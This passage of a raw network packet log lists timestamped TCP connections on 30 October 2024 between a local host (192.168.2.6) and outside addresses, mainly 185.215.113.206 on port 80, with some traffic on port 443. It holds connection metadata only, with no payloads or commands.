Oct 30, 2024 11:45:45.567565918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567581892 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567584038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567598104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567609072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567615032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567631960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567635059 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567648888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567656040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567666054 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567682981 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567682981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567698002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567703962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567722082 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567728996 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567742109 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567744970 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567759037 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567763090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567778111 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567795038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567796946 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567819118 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567847013 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567851067 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567866087 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567889929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567903996 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567904949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567920923 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567926884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567944050 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567949057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567961931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.567970991 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.567996979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568011999 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568020105 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568028927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568046093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568053007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568075895 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568099976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568280935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568295956 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568320036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568320990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568336964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568341017 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568351030 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568355083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568372011 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568372965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568388939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568391085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568407059 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568422079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568423033 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568439960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568448067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568459034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568470955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568476915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568485975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568495035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568500996 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568514109 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568515062 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568533897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568533897 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568559885 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568567991 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568847895 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568872929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568943977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568944931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568944931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.568960905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.568979025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569003105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569020033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569022894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.569040060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569063902 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.569065094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569072962 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.569081068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569097996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569107056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.569116116 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569132090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.569132090 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569149017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569165945 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.569166899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.569189072 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.569215059 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.584773064 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.584933043 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.585026979 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.585175037 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.585186005 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.585197926 CET	49991	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.585203886 CET	443	49991	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.587879896 CET	49996	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.587903023 CET	443	49996	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.588007927 CET	49996	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.588291883 CET	49996	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.588301897 CET	443	49996	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.611831903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.611895084 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.611910105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.611917973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.611926079 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.611943960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.611949921 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.611960888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.611999989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.625777006 CET	443	49992	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.625855923 CET	443	49992	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.626080036 CET	49992	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.626183033 CET	49992	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.626193047 CET	443	49992	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.626205921 CET	49992	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.626211882 CET	443	49992	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.628854990 CET	49997	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.628896952 CET	443	49997	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.629234076 CET	49997	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.629452944 CET	49997	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:45.629471064 CET	443	49997	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:45.676446915 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.676461935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.676521063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.676811934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.676934004 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.676949978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.676975965 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.676990032 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.676992893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.677007914 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.677012920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.677026033 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.677031994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.677042961 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.677057981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.677072048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.677073002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.677089930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.677099943 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.677107096 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.677118063 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.677145958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678508997 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678534985 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678561926 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678575993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678579092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678597927 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678611040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678613901 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678637028 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678642035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678653955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678668022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678678989 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678685904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678700924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678719044 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678724051 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678749084 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678751945 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678770065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678776026 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678786993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678809881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678813934 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678831100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678833961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678847075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678857088 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678864956 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678872108 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678884029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678890944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678906918 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678906918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678927898 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678930998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678942919 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.678946972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678963900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678982019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.678987980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679006100 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679013968 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679023981 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679039955 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679073095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679079056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679090977 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679110050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679126978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679131031 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679157972 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679183006 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679310083 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679332018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679347992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679358006 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679368973 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679384947 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679419041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679435015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.679462910 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.679475069 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681081057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681097031 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681113005 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681128979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681137085 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681145906 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681163073 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681170940 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681180000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681189060 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681196928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681214094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681215048 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681238890 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681241035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681258917 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681265116 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681278944 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681286097 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681294918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681303024 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681318045 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681333065 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681343079 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681353092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681369066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681370020 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681392908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681396961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681412935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681415081 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681431055 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681435108 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681448936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681452990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681462049 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681466103 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681482077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681485891 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681498051 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681509018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681514978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681528091 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681530952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681535006 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681548119 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681555986 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681566000 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681572914 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681583881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681592941 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681602955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681608915 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681619883 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681619883 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681638002 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681641102 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681657076 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681659937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681675911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681679964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681694984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681699038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681710958 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681713104 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681727886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681731939 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681749105 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.681754112 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681771994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.681791067 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.682799101 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.682826042 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.682842016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.682851076 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.682881117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.682965040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.682988882 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683006048 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683022022 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683024883 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683038950 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683060884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683063984 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683089018 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683089018 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683106899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683106899 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683125019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683130980 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683142900 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683151007 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683161974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683166027 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683178902 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683180094 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683197021 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683204889 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683238983 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683701992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683760881 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683835030 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683850050 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683866978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683882952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683900118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683913946 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683916092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683933973 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.683948040 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683957100 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.683991909 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684027910 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684043884 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684058905 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684082985 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684087992 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684103966 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684108019 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684119940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684134960 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:45.684134960 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:45.684144020 CET	49888	80	192.168.2.6	185.215.113.206
